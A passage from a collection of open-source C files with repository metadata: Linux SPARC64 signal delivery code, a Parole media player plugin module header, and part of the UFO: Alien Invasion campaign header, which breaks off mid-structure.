do_rt_sigreturn(struct pt_regs *regs) { struct rt_signal_frame __user *sf; unsigned long tpc, tnpc, tstate; __siginfo_fpu_t __user *fpu_save; sigset_t set; int err; /* Always make any pending restarted system calls return -EINTR */ current_thread_info()->restart_block.fn = do_no_restart_syscall; synchronize_user_stack (); sf = (struct rt_signal_frame __user *) (regs->u_regs [UREG_FP] + STACK_BIAS); /* 1. Make sure we are not getting garbage from the user */ if (((unsigned long) sf) & 3) goto segv; err = get_user(tpc, &sf->regs.tpc); err |= __get_user(tnpc, &sf->regs.tnpc); if (test_thread_flag(TIF_32BIT)) { tpc &= 0xffffffff; tnpc &= 0xffffffff; } err |= ((tpc | tnpc) & 3); /* 2. Restore the state */ err |= __get_user(regs->y, &sf->regs.y); err |= __get_user(tstate, &sf->regs.tstate); err |= copy_from_user(regs->u_regs, sf->regs.u_regs, sizeof(regs->u_regs)); /* User can only change condition codes and %asi in %tstate. */ regs->tstate &= ~(TSTATE_ASI | TSTATE_ICC | TSTATE_XCC); regs->tstate |= (tstate & (TSTATE_ASI | TSTATE_ICC | TSTATE_XCC)); err |= __get_user(fpu_save, &sf->fpu_save); if (fpu_save) err |= restore_fpu_state(regs, &sf->fpu_state); err |= __copy_from_user(&set, &sf->mask, sizeof(sigset_t)); err |= do_sigaltstack(&sf->stack, NULL, (unsigned long)sf); if (err) goto segv; regs->tpc = tpc; regs->tnpc = tnpc; /* Prevent syscall restart. */ pt_regs_clear_syscall(regs); sigdelsetmask(&set, ~_BLOCKABLE); spin_lock_irq(&current->sighand->siglock); current->blocked = set; recalc_sigpending(); spin_unlock_irq(&current->sighand->siglock); return; segv: force_sig(SIGSEGV, current); } /* Checks if the fp is valid */ static int invalid_frame_pointer(void __user *fp, int fplen) { if (((unsigned long) fp) & 15) return 1; return 0; } static inline int save_fpu_state(struct pt_regs *regs, __siginfo_fpu_t __user *fpu) { unsigned long *fpregs = current_thread_info()->fpregs; unsigned long fprs; int err = 0; fprs = current_thread_info()->fpsaved[0]; if (fprs & FPRS_DL) err |= copy_to_user(&fpu->si_float_regs[0], fpregs, (sizeof(unsigned int) * 32)); if (fprs & FPRS_DU) err |= copy_to_user(&fpu->si_float_regs[32], fpregs+16, (sizeof(unsigned int) * 32)); err |= __put_user(current_thread_info()->xfsr[0], &fpu->si_fsr); err |= __put_user(current_thread_info()->gsr[0], &fpu->si_gsr); err |= __put_user(fprs, &fpu->si_fprs); return err; } static inline void __user *get_sigframe(struct k_sigaction *ka, struct pt_regs *regs, unsigned long framesize) { unsigned long sp = regs->u_regs[UREG_FP] + STACK_BIAS; /* * If we are on the alternate signal stack and would overflow it, don't. * Return an always-bogus address instead so we will die with SIGSEGV. */ if (on_sig_stack(sp) && !likely(on_sig_stack(sp - framesize))) return (void __user *) -1L; /* This is the X/Open sanctioned signal stack switching. */ if (ka->sa.sa_flags & SA_ONSTACK) { if (sas_ss_flags(sp) == 0) sp = current->sas_ss_sp + current->sas_ss_size; } sp -= framesize; /* Always align the stack frame. This handles two cases. First, * sigaltstack need not be mindful of platform specific stack * alignment. Second, if we took this signal because the stack * is not aligned properly, we'd like to take the signal cleanly * and report that. */ sp &= ~15UL; return (void __user *) sp; } static inline void setup_rt_frame(struct k_sigaction *ka, struct pt_regs *regs, int signo, sigset_t *oldset, siginfo_t *info) { struct rt_signal_frame __user *sf; int sigframe_size, err; /* 1. Make sure everything is clean */ synchronize_user_stack(); save_and_clear_fpu(); sigframe_size = sizeof(struct rt_signal_frame); if (!(current_thread_info()->fpsaved[0] & FPRS_FEF)) sigframe_size -= sizeof(__siginfo_fpu_t); sf = (struct rt_signal_frame __user *) get_sigframe(ka, regs, sigframe_size); if (invalid_frame_pointer (sf, sigframe_size)) goto sigill; if (get_thread_wsaved() != 0) goto sigill; /* 2. Save the current process state */ err = copy_to_user(&sf->regs, regs, sizeof (*regs)); if (current_thread_info()->fpsaved[0] & FPRS_FEF) { err |= save_fpu_state(regs, &sf->fpu_state); err |= __put_user((u64)&sf->fpu_state, &sf->fpu_save); } else { err |= __put_user(0, &sf->fpu_save); } /* Setup sigaltstack */ err |= __put_user(current->sas_ss_sp, &sf->stack.ss_sp); err |= __put_user(sas_ss_flags(regs->u_regs[UREG_FP]), &sf->stack.ss_flags); err |= __put_user(current->sas_ss_size, &sf->stack.ss_size); err |= copy_to_user(&sf->mask, oldset, sizeof(sigset_t)); err |= copy_in_user((u64 __user *)sf, (u64 __user *)(regs->u_regs[UREG_FP]+STACK_BIAS), sizeof(struct reg_window)); if (info) err |= copy_siginfo_to_user(&sf->info, info); else { err |= __put_user(signo, &sf->info.si_signo); err |= __put_user(SI_NOINFO, &sf->info.si_code); } if (err) goto sigsegv; /* 3. signal handler back-trampoline and parameters */ regs->u_regs[UREG_FP] = ((unsigned long) sf) - STACK_BIAS; regs->u_regs[UREG_I0] = signo; regs->u_regs[UREG_I1] = (unsigned long) &sf->info; /* The sigcontext is passed in this way because of how it * is defined in GLIBC's /usr/include/bits/sigcontext.h * for sparc64. It includes the 128 bytes of siginfo_t. */ regs->u_regs[UREG_I2] = (unsigned long) &sf->info; /* 5. signal handler */ regs->tpc = (unsigned long) ka->sa.sa_handler; regs->tnpc = (regs->tpc + 4); if (test_thread_flag(TIF_32BIT)) { regs->tpc &= 0xffffffff; regs->tnpc &= 0xffffffff; } /* 4. return to kernel instructions */ regs->u_regs[UREG_I7] = (unsigned long)ka->ka_restorer; return; sigill: do_exit(SIGILL); sigsegv: force_sigsegv(signo, current); } static inline void handle_signal(unsigned long signr, struct k_sigaction *ka, siginfo_t *info, sigset_t *oldset, struct pt_regs *regs) { setup_rt_frame(ka, regs, signr, oldset, (ka->sa.sa_flags & SA_SIGINFO) ? info : NULL); spin_lock_irq(&current->sighand->siglock); sigorsets(&current->blocked,&current->blocked,&ka->sa.sa_mask); if (!(ka->sa.sa_flags & SA_NOMASK)) sigaddset(&current->blocked,signr); recalc_sigpending(); spin_unlock_irq(&current->sighand->siglock); } static inline void syscall_restart(unsigned long orig_i0, struct pt_regs *regs, struct sigaction *sa) { switch (regs->u_regs[UREG_I0]) { case ERESTART_RESTARTBLOCK: case ERESTARTNOHAND: no_system_call_restart: regs->u_regs[UREG_I0] = EINTR; regs->tstate |= (TSTATE_ICARRY|TSTATE_XCARRY); break; case ERESTARTSYS: if (!(sa->sa_flags & SA_RESTART)) goto no_system_call_restart; /* fallthrough */ case ERESTARTNOINTR: regs->u_regs[UREG_I0] = orig_i0; regs->tpc -= 4; regs->tnpc -= 4; } } static void do_signal(struct pt_regs *regs, unsigned long orig_i0) { struct k_sigaction ka; int restart_syscall; sigset_t *oldset; siginfo_t info; int signr; if (pt_regs_is_syscall(regs) && (regs->tstate & (TSTATE_XCARRY | TSTATE_ICARRY))) { restart_syscall = 1; } else restart_syscall = 0; if (current_thread_info()->status & TS_RESTORE_SIGMASK) oldset = &current->saved_sigmask; else oldset = &current->blocked; #ifdef CONFIG_COMPAT if (test_thread_flag(TIF_32BIT)) { extern void do_signal32(sigset_t *, struct pt_regs *, int restart_syscall, unsigned long orig_i0); do_signal32(oldset, regs, restart_syscall, orig_i0); return; } #endif signr = get_signal_to_deliver(&info, &ka, regs, NULL); /* If the debugger messes with the program counter, it clears * the software "in syscall" bit, directing us to not perform * a syscall restart. */ if (restart_syscall && !pt_regs_is_syscall(regs)) restart_syscall = 0; if (signr > 0) { if (restart_syscall) syscall_restart(orig_i0, regs, &ka.sa); handle_signal(signr, &ka, &info, oldset, regs); /* A signal was successfully delivered; the saved * sigmask will have been stored in the signal frame, * and will be restored by sigreturn, so we can simply * clear the TS_RESTORE_SIGMASK flag. */ current_thread_info()->status &= ~TS_RESTORE_SIGMASK; tracehook_signal_handler(signr, &info, &ka, regs, 0); return; } if (restart_syscall && (regs->u_regs[UREG_I0] == ERESTARTNOHAND || regs->u_regs[UREG_I0] == ERESTARTSYS || regs->u_regs[UREG_I0] == ERESTARTNOINTR)) { /* replay the system call when we are done */ regs->u_regs[UREG_I0] = orig_i0; regs->tpc -= 4; regs->tnpc -= 4; } if (restart_syscall && regs->u_regs[UREG_I0] == ERESTART_RESTARTBLOCK) { regs->u_regs[UREG_G1] = __NR_restart_syscall; regs->tpc -= 4; regs->tnpc -= 4; } /* If there's no signal to deliver, we just put the saved sigmask * back */ if (current_thread_info()->status & TS_RESTORE_SIGMASK) { current_thread_info()->status &= ~TS_RESTORE_SIGMASK; sigprocmask(SIG_SETMASK, &current->saved_sigmask, NULL); } } void do_notify_resume(struct pt_regs *regs, unsigned long orig_i0, unsigned long thread_info_flags) { if (thread_info_flags & _TIF_SIGPENDING) do_signal(regs, orig_i0); if (thread_info_flags & _TIF_NOTIFY_RESUME) { clear_thread_flag(TIF_NOTIFY_RESUME); tracehook_notify_resume(regs); if (current->replacement_session_keyring) key_replace_session_keyring(); } }
luckasfb/OT_903D-kernel-2.6.35.7
kernel/arch/sparc/kernel/signal_64.c
C
gpl-2.0
18,267
/* * * Copyright (C) 2009-2011 Ali <[email protected]> * * Copyright (C) 2012-2013 Sean Davis <[email protected]> * * Copyright (C) 2012-2013 Simon Steinbeiß <[email protected] * * Licensed under the GNU General Public License Version 2 * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef __PAROLE_MODULE_H #define __PAROLE_MODULE_H #include <glib-object.h> #include <src/misc/parole.h> #include "parole-plugin-player.h" G_BEGIN_DECLS #define PAROLE_TYPE_PROVIDER_MODULE (parole_provider_module_get_type () ) #define PAROLE_PROVIDER_MODULE(o) (G_TYPE_CHECK_INSTANCE_CAST ((o), PAROLE_TYPE_PROVIDER_MODULE, ParoleProviderModule)) #define PAROLE_PROVIDER_MODULE_CLASS(klass) (G_TYPE_CHECK_CLASS_CAST ((klass), PAROLE_TYPE_PROVIDER_MODULE, ParoleProviderModuleClass)) #define PAROLE_IS_PROVIDER_MODULE(o) (G_TYPE_CHECK_INSTANCE_TYPE ((o), PAROLE_TYPE_PROVIDER_MODULE)) #define PAROLE_IS_PROVIDER_MODULE_CLASS(klass) (G_TYPE_CHECK_CLASS_TYPE ((klass), PAROLE_TYPE_PROVIDER_MODULE)) #define PAROLE_PROVIDER_MODULE_GET_CLASS(o) (G_TYPE_INSTANCE_GET_CLASS((o), PAROLE_TYPE_PROVIDER_MODULE, ParoleProviderModuleClass)) typedef struct _ParoleProviderModuleClass ParoleProviderModuleClass; typedef struct _ParoleProviderModule ParoleProviderModule; struct _ParoleProviderModule { GTypeModule parent; GModule *library; ParolePluginPlayer *player; GType (*initialize) (ParoleProviderModule *module); void (*shutdown) (void); GType provider_type; gboolean active; gpointer instance; gchar *desktop_file; }; struct _ParoleProviderModuleClass { GTypeModuleClass parent_class; } ; GType parole_provider_module_get_type (void) G_GNUC_CONST; ParoleProviderModule *parole_provider_module_new (const gchar *filename, const gchar *desktop_file); gboolean parole_provider_module_new_plugin (ParoleProviderModule *module); void parole_provider_module_free_plugin (ParoleProviderModule *module); gboolean parole_provider_module_get_is_active (ParoleProviderModule *module); G_END_DECLS #endif /* __PAROLE_MODULE_H */
aquaherd/parole-mpris2
src/parole-module.h
C
gpl-2.0
3,128
/** * @file cp_campaign.h * @brief Header file for single player campaign control. */ /* Copyright (C) 2002-2010 UFO: Alien Invasion. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef CP_CAMPAIGN_H #define CP_CAMPAIGN_H extern memPool_t *cp_campaignPool; struct aircraft_s; struct installation_s; struct employee_s; struct ugv_s; struct campaign_s; struct uiNode_s; /**< @todo remove this once the uiNode_t usage is cleaned up */ #define MAX_CAMPAIGNS 16 #define MAX_ASSEMBLIES 16 /** @todo rename this after merging with savegame breakage branch and also change the value to -1 */ #define BYTES_NONE 0xFF #include "cp_rank.h" #include "cp_save.h" #include "cp_parse.h" #include "cp_event.h" #include "cp_ufopedia.h" #include "cp_research.h" #include "cp_radar.h" #include "cp_aircraft.h" #include "cp_base.h" #include "cp_employee.h" #include "cp_transfer.h" #include "cp_nation.h" #include "cp_installation.h" #include "cp_produce.h" #include "cp_uforecovery.h" #include "cp_airfight.h" #include "cp_messageoptions.h" #include "cp_alienbase.h" #include "cp_market.h" #include "cp_statistics.h" /* check for water */ /* blue value is 64 */ #define MapIsWater(color) (color[0] == 0 && color[1] == 0 && color[2] == 64) /* terrain types */ #define MapIsArctic(color) (color[0] == 128 && color[1] == 255 && color[2] == 255) #define MapIsDesert(color) (color[0] == 255 && color[1] == 128 && color[2] == 0) #define MapIsMountain(color) (color[0] == 255 && color[1] == 0 && color[2] == 0) #define MapIsTropical(color) (color[0] == 128 && color[1] == 128 && color[2] == 255) #define MapIsGrass(color) (color[0] == 128 && color[1] == 255 && color[2] == 0) #define MapIsWasted(color) (color[0] == 128 && color[1] == 0 && color[2] == 128) #define MapIsCold(color) (color[0] == 0 && color[1] == 0 && color[2] == 255) /* culture types */ #define MapIsWestern(color) (color[0] == 128 && color[1] == 255 && color[2] == 255) #define MapIsEastern(color) (color[0] == 255 && color[1] == 128 && color[2] == 0) #define MapIsOriental(color) (color[0] == 255 && color[1] == 0 && color[2] == 0) #define MapIsAfrican(color) (color[0] == 128 && color[1] == 128 && color[2] == 255) /* population types */ #define MapIsUrban(color) (color[0] == 128 && color[1] == 255 && color[2] == 255) #define MapIsSuburban(color) (color[0] == 255 && color[1] == 128 && color[2] == 0) #define MapIsVillage(color) (color[0] == 255 && color[1] == 0 && color[2] == 0) #define MapIsRural(color) (color[0] == 128 && color[1] == 128 && color[2] == 255) #define MapIsNopopulation(color) (color[0] == 128 && color[1] == 255 && color[2] == 0) /* RASTER enables a better performance for CP_GetRandomPosOnGeoscapeWithParameters set it to 1-6 * the higher the value the better the performance, but the smaller the coverage */ #define RASTER 2 /* nation happiness constants */ #define HAPPINESS_SUBVERSION_LOSS -0.15 #define HAPPINESS_ALIEN_MISSION_LOSS -0.02 #define HAPPINESS_UFO_SALE_GAIN 0.02 #define HAPPINESS_UFO_SALE_LOSS 0.005 #define HAPPINESS_MAX_MISSION_IMPACT 0.07 /* Maximum alien groups per alien team category */ #define MAX_ALIEN_GROUP_PER_CATEGORY 4 /* Maximum alien team category defined in scripts */ #define ALIENCATEGORY_MAX 8 #define BID_FACTOR 0.9 #define MAX_PROJECTILESONGEOSCAPE 32 /** * @brief The amount of time (in hours) it takes for the interest to increase by 1. Is later affected by difficulty. */ #define HOURS_PER_ONE_INTEREST 22 /** * @brief Determines the interest interval for a single campaign */ #define INITIAL_OVERALL_INTEREST 20 #define FINAL_OVERALL_INTEREST 1000 /** * @brief The length of a single mission spawn cycle */ #define DELAY_BETWEEN_MISSION_SPAWNING 4 /** * @brief The minimum and maximum amount of missions per mission cycle. * @note some of the missions can be non-occurrence missions. */ #define MINIMUM_MISSIONS_PER_CYCLE 5 #define MAXIMUM_MISSIONS_PER_CYCLE 40 /** * @brief The probability that any new alien mission will be a non-occurrence mission. */ #define NON_OCCURRENCE_PROBABILITY 0.65 /** possible map types */ typedef enum mapType_s { MAPTYPE_TERRAIN, MAPTYPE_CULTURE, MAPTYPE_POPULATION, MAPTYPE_NATIONS, MAPTYPE_MAX } mapType_t; /** @brief possible mission detection status */ typedef enum missionDetectionStatus_s { MISDET_CANT_BE_DETECTED, /**< Mission can't be seen on geoscape */ MISDET_ALWAYS_DETECTED, /**< Mission is seen on geoscape, whatever it's position */ MISDET_MAY_BE_DETECTED /**< Mission may be seen on geoscape, if a probability test is done */ } missionDetectionStatus_t; /** possible campaign interest categories: type of missions that aliens can undertake */ typedef enum interestCategory_s { INTERESTCATEGORY_NONE, /**< No mission */ INTERESTCATEGORY_RECON, /**< Aerial recon mission or ground mission (UFO may or not land) */ INTERESTCATEGORY_TERROR_ATTACK, /**< Terror attack */ INTERESTCATEGORY_BASE_ATTACK, /**< Alien attack a phalanx base */ INTERESTCATEGORY_BUILDING, /**< Alien build a new base or subverse governments */ INTERESTCATEGORY_SUPPLY, /**< Alien supply one of their bases */ INTERESTCATEGORY_XVI, /**< Alien try to spread XVI */ INTERESTCATEGORY_INTERCEPT, /**< Alien try to intercept PHALANX aircraft */ INTERESTCATEGORY_HARVEST, /**< Alien try to harvest */ INTERESTCATEGORY_ALIENBASE, /**< Alien base already built on earth * @note This is not a mission alien can undertake, but the result of * INTERESTCATEGORY_BUILDING */ INTERESTCATEGORY_RESCUE, INTERESTCATEGORY_MAX } interestCategory_t; /** possible stage for campaign missions (i.e. possible actions for UFO) */ typedef enum missionStage_s { STAGE_NOT_ACTIVE, /**< mission did not begin yet */ STAGE_COME_FROM_ORBIT, /**< UFO is arriving */ STAGE_RECON_AIR, /**< Aerial Recon */ STAGE_MISSION_GOTO, /**< Going to a new position */ STAGE_RECON_GROUND, /**< Ground Recon */ STAGE_TERROR_MISSION, /**< Terror mission */ STAGE_BUILD_BASE, /**< Building a base */ STAGE_BASE_ATTACK, /**< Base attack */ STAGE_SUBVERT_GOV, /**< Subvert government */ STAGE_SUPPLY, /**< Supply already existing base */ STAGE_SPREAD_XVI, /**< Spreading XVI Virus */ STAGE_INTERCEPT, /**< UFO attacks any encountered PHALANX aircraft or attack an installation */ STAGE_BASE_DISCOVERED, /**< PHALANX discovered the base */ STAGE_HARVEST, /**< Harvesting */ STAGE_RETURN_TO_ORBIT, /**< UFO is going back to base */ STAGE_OVER /**< Mission is over */ } missionStage_t; /** @brief alien team group definition. * @note This is the definition of one groups of aliens (several races) that can * be used on the same map. * @sa alienTeamCategory_s */ typedef struct alienTeamGroup_s { int idx; /**< idx of the group in the alien team category */ int categoryIdx; /**< idx of category it's used in */ int minInterest; /**< Minimum interest value this group should be used with. */ int maxInterest; /**< Maximum interest value this group should be used with. */ teamDef_t *alienTeams[MAX_TEAMS_PER_MISSION]; /**< different alien teams available * that will be used in mission */ int numAlienTeams; /**< Number of alienTeams defined in this group. */ } alienTeamGroup_t; /** @brief alien team category definition * @note This is the definition of all groups of aliens that can be used for * a mission category * @sa alienTeamGroup_s */ typedef struct alienTeamCategory_s { char id[MAX_VAR]; /**< id of the category */ interestCategory_t missionCategories[INTERESTCATEGORY_MAX]; /**< Mission category that should use this * alien team Category. */ int numMissionCategories; /**< Number of category using this alien team Category. */ linkedList_t *equipment; /**< Equipment definitions that may be used for this def. */ alienTeamGroup_t alienTeamGroups[MAX_ALIEN_GROUP_PER_CATEGORY]; /**< Different alien group available * for this category */ int numAlienTeamGroups; /**< Number of alien group defined for this category */ } alienTeamCategory_t; /** @brief mission definition * @note A mission is different from a map: a mission is the whole set of actions aliens will carry. * For example, coming with a UFO on earth, land, explore earth, and leave with UFO */ typedef struct mission_s { int idx; /**< unique id of this mission */ char id[MAX_VAR]; /**< script id */ mapDef_t* mapDef; /**< mapDef used for this mission */ qboolean active; /**< aircraft at place? */ union missionData_t { base_t *base; aircraft_t *aircraft; installation_t *installation; alienBase_t *alienBase; } data; /**< may be related to mission type (like pointer to base attacked, or to alien base) */ char location[MAX_VAR]; /**< The name of the ground mission that will appear on geoscape */ interestCategory_t category; /**< The category of the event */ missionStage_t stage; /**< in which stage is this event? */ int initialOverallInterest; /**< The overall interest value when this event has been created */ int initialIndividualInterest; /**< The individual interest value (of type type) when this event has been created */ date_t startDate; /**< Date when the event should start */ date_t finalDate; /**< Date when the event should finish (e.g. for aerial recon) * if finaleDate.day == 0, then delay is not a limitating factor for next stage */ vec2_t pos; /**< Position of the mission */ aircraft_t *ufo; /**< UFO on geoscape fulfilling the mission (may be NULL) */ qboolean onGeoscape; /**< Should the mission be displayed on geoscape */ qboolean crashed; /**< is UFO crashed ? (only used if mission is spawned from a UFO */ char onwin[MAX_VAR]; /**< trigger command after you've won a battle, @sa CP_ExecuteMissionTrigger */ char onlose[MAX_VAR]; /**< trigger command after you've lost a battle, @sa CP_ExecuteMissionTrigger */ qboolean posAssigned; /**< is the position of this mission already set? */ } mission_t; /** * @brief iterates through missions */ #define MIS_Foreach(var) LIST_Foreach(ccs.missions, mission_t, var) /** battlescape parameters that were used */ typedef struct battleParam_s { mission_t *mission; alienTeamGroup_t *alienTeamGroup; /**< Races of aliens present in battle */ char *param; /**< in case of a random map assembly we can't use the param from mapDef - because * this is global for the mapDef - but we need a local mission param */ char alienEquipment[MAX_VAR]; /**< Equipment of alien team */ char civTeam[MAX_VAR]; /**< Type of civilian (European, ...) */ qboolean day; /**< Mission is played during day */ const char *zoneType; /**< Terrain type (used for texture replacement in some missions (base, ufocrash)) */ int aliens, civilians; /**< number of aliens and civilians in that particular mission */ struct nation_s *nation; /**< nation where the mission takes place */ float probability; } battleParam_t; /** @brief Structure with mission info needed to create results summary at menu won. */ typedef struct missionResults_s { qboolean won; qboolean recovery; /**< @c true if player secured a UFO (landed or crashed). */ qboolean crashsite; /**< @c true if secured UFO was crashed one. */ ufoType_t ufotype; /**< Type of UFO secured during the mission. */ float ufoCondition; /**< How much the UFO is damaged */ float winProbability; /**< the win probability that was calculated for auto missions */ int itemTypes; /**< Types of items gathered from a mission. */ int itemAmount; /**< Amount of items (all) gathered from a mission. */ int aliensKilled; int aliensStunned; int aliensSurvived; int ownKilled; int ownStunned; int ownKilledFriendlyFire; int ownSurvived; int civiliansKilled; int civiliansKilledFriendlyFire; int civiliansSurvived; } missionResults_t; /** salary values for a campaign */ typedef struct salary_s { int base[MAX_EMPL]; int rankBonus[MAX_EMPL]; int admin[MAX_EMPL]; int aircraftFactor; int aircraftDivisor; int baseUpkeep; int adminInitial; float debtInterest; } salary_t; /** campaign definition */ typedef struct campaign_s { int idx; /**< own index in global campaign array */ char id[MAX_VAR]; /**< id of the campaign */ char name[MAX_VAR]; /**< name of the campaign */ int team; /**< what team can play this campaign */ char researched[MAX_VAR]; /**< name of the researched tech list to use on campaign start */ char soldierEquipment[MAX_VAR]; /**< name of the equipment list that is used to equip soldiers on crafts that are added to the first base */ char equipment[MAX_VAR]; /**< name of the equipment list to use on campaign start */ char market[MAX_VAR]; /**< name of the market list containing initial items on market */ char asymptoticMarket[MAX_VAR]; /**< name of the market list containing items on market at the end of the game */ const equipDef_t *marketDef; /**< market definition for this campaign (how many items on the market) containing initial items */ const equipDef_t *asymptoticMarketDef; /**< market definition for this campaign (how many items on the market) containing finale items */ char text[MAX_VAR]; /**< placeholder for gettext stuff */ char map[MAX_VAR]; /**< geoscape map */ int soldiers; /**< start with x soldiers */ int scientists; /**< start with x scientists */ int workers; /**< start with x workers */ int pilots; /**< start with x pilots */ int ugvs; /**< start with x ugvs (robots) */ int credits; /**< start with x credits */ int num; signed int difficulty; /**< difficulty level -4 - 4 */ float minhappiness; /**< minimum value of mean happiness before the game is lost */ int negativeCreditsUntilLost; /**< bankrupt - negative credits until you've lost the game */ int maxAllowedXVIRateUntilLost; /**< 0 - 100 - the average rate of XVI over all nations before you've lost the game */ qboolean visible; /**< visible in campaign menu? */ date_t date; /**< starting date for this campaign */ int basecost; /**< base building cost for empty base */ char firstBaseTemplate[MAX_VAR]; /**< template to use for setting up the first base */ qboolean finished; const campaignEvents_t *events; salary_t salaries; } campaign_t; int CP_GetSalaryBaseEmployee(const salary_t *salary, employeeType_t type); int CP_GetSalaryAdminEmployee(const salary_t *salary, employeeType_t type); int CP_GetSalaryRankBonusEmployee(const salary_t *salary, employeeType_t type); int CP_GetSalaryAdministrative(const salary_t *salary); int CP_GetSalaryUpKeepBase(const salary_t *salary, const base_t *base); /** possible geoscape actions */ typedef enum mapAction_s { MA_NONE, MA_NEWBASE, /**< build a new base */ MA_NEWINSTALLATION, /**< build a new installation */ MA_INTERCEPT, /**< intercept */ MA_BASEATTACK, /**< base attacking */ MA_UFORADAR /**< ufos are in our radar */ } mapAction_t; /** * @brief client campaign structure * @sa csi_t */ typedef struct ccs_s { equipDef_t eMission; market_t eMarket; /**< Prices, evolution and number of items on market */ linkedList_t *missions; /**< Missions spawned (visible on geoscape or not) */ battleParam_t battleParameters; /**< Structure used to remember every parameter used during last battle */ int lastInterestIncreaseDelay; /**< How many hours since last increase of alien overall interest */ int overallInterest; /**< overall interest of aliens: how far is the player in the campaign */ int interest[INTERESTCATEGORY_MAX]; /**< interest of aliens: determine which actions aliens will undertake */ int lastMissionSpawnedDelay; /**< How many days since last mission has been spawned */ vec2_t mapPos; /**< geoscape map position (from the menu node) */ vec2_t mapSize; /**< geoscape map size (from the menu node) */ int credits; /**< actual credits amount */ int civiliansKilled; /**< how many civilians were killed already */ int aliensKilled; /**< how many aliens were killed already */ date_t date; /**< current date */ qboolean XVIShowMap; /**< means that PHALANX has a map of XVI - @see CP_IsXVIResearched */ qboolean breathingMailSent; /**< status flag indicating that mail about died aliens due to missing breathing tech was sent */ float timer; vec3_t angles; /**< 3d geoscape rotation */ vec2_t center; /**< latitude and longitude of the point we're looking at on earth */ float zoom; /**< zoom used when looking at earth */ /* Smoothing variables */ qboolean smoothRotation; /**< @c true if the rotation of 3D geoscape must me smooth */ vec3_t smoothFinalGlobeAngle; /**< value of final ccs.angles for a smooth change of angle (see MAP_CenterOnPoint)*/ vec2_t smoothFinal2DGeoscapeCenter; /**< value of ccs.center for a smooth change of position (see MAP_CenterOnPoint) */ float smoothDeltaLength; /**< angle/position difference that we need to change when smoothing */ float smoothFinalZoom; /**< value of final ccs.zoom for a smooth change of angle (see MAP_CenterOnPoint)*/ float smoothDeltaZoom; /**< zoom difference that we need to change when smoothing */ float curZoomSpeed; /**< The current zooming speed. Used for smooth zooming. */ float curRotationSpeed; /**< The current rotation speed. Used for smooth rotating.*/ struct { mission_t *selectedMission; /**< Currently selected mission on geoscape */ aircraft_t *selectedAircraft; /**< Currently selected aircraft on geoscape */ aircraft_t *selectedUFO; /**< Currently selected UFO on geoscape */ aircraft_t *interceptAircraft; /**< selected aircraft for interceptions */ aircraft_t *missionAircraft; /**< aircraft pointer for mission handling */ } geoscape; /* == misc == */ /* MA_NEWBASE, MA_INTERCEPT, MA_BASEATTACK, ... */ mapAction_t mapAction; /** @todo move into the base node extra data */ /* BA_NEWBUILDING ... */ baseAction_t baseAction; /* how fast the game is running */ int gameTimeScale; int gameLapse; /* already paid in this month? */ qboolean paid; /** Coordinates to place the new base at (long, lat) */ vec2_t newBasePos; /* == employees == */ /* A list of all phalanx employees (soldiers, scientists, workers, etc...) */ linkedList_t *employees[MAX_EMPL]; /* == technologies == */ /* A list of all research-topics resp. the research-tree. */ technology_t technologies[MAX_TECHNOLOGIES]; /* Total number of technologies. */ int numTechnologies; /* == bases == */ /* A list of _all_ bases ... even unbuilt ones. */ base_t bases[MAX_BASES]; /* Total number of built bases (how many are enabled). */ int numBases; /* a list of all templates for building bases */ baseTemplate_t baseTemplates[MAX_BASETEMPLATES]; int numBaseTemplates; /* == aircraft == */ linkedList_t *aircraft; /* == Alien bases == */ linkedList_t *alienBases; /* == Nations == */ nation_t nations[MAX_NATIONS]; int numNations; /* == Cities == */ linkedList_t *cities; int numCities; /* Projectiles on geoscape (during fights) */ aircraftProjectile_t projectiles[MAX_PROJECTILESONGEOSCAPE]; int numProjectiles; /* == Transfers == */ linkedList_t* transfers; /* UFO components. */ int numComponents; components_t components[MAX_ASSEMBLIES]; /* == stored UFOs == */ linkedList_t *storedUFOs; /* Alien Team Definitions. */ teamDef_t *alienTeams[MAX_TEAMDEFS]; int numAliensTD; /* Alien Team Package used during battle */ alienTeamCategory_t alienCategories[ALIENCATEGORY_MAX]; /**< different alien team available * that will be used in mission */ int numAlienCategories; /** number of alien team categories defined */ /* == ufopedia == */ /* A list of all UFOpaedia chapters. */ pediaChapter_t upChapters[MAX_PEDIACHAPTERS]; /* Total number of UFOpaedia chapters */ int numChapters; int numUnreadMails; /**< only for faster access (don't cycle all techs every frame) */ eventMail_t eventMails[MAX_EVENTMAILS]; /**< holds all event mails (cl_event.c) */ int numEventMails; /**< how many eventmails (script-id: mail) parsed */ campaignEvents_t campaignEvents[MAX_CAMPAIGNS]; /**< holds all campaign events (cl_event.c) */ int numCampaignEventDefinitions; /**< how many event definitions (script-id: events) parsed */ /* == buildings in bases == */ /* A list of all possible unique buildings. */ building_t buildingTemplates[MAX_BUILDINGS]; int numBuildingTemplates; /* A list of the building-list per base. (new buildings in a base get copied from buildingTypes) */ building_t buildings[MAX_BASES][MAX_BUILDINGS]; /* Total number of buildings per base. */ int numBuildings[MAX_BASES]; /* == installations == */ /* A template for each possible installation with configurable values */ installationTemplate_t installationTemplates[MAX_INSTALLATION_TEMPLATES]; int numInstallationTemplates; /* A list of _all_ installations ... even unbuilt ones. */ installation_t installations[MAX_INSTALLATIONS]; /* Total number of built installations (how many are enabled). */ int numInstallations; /* UFOs on geoscape */ aircraft_t ufos[MAX_UFOONGEOSCAPE]; int numUFOs; /**< The current amount of UFOS on the geoscape. */ /* message categories */ msgCategory_t messageCategories[MAX_MESSAGECATEGORIES]; int numMsgCategories; /* entries for message categories */ msgCategoryEntry_t msgCategoryEntries[NT_NUM_NOTIFYTYPE + MAX_MESSAGECATEGORIES]; int numMsgCategoryEntries; /* == Ranks == */ /* Global list of all ranks defined in medals.ufo. 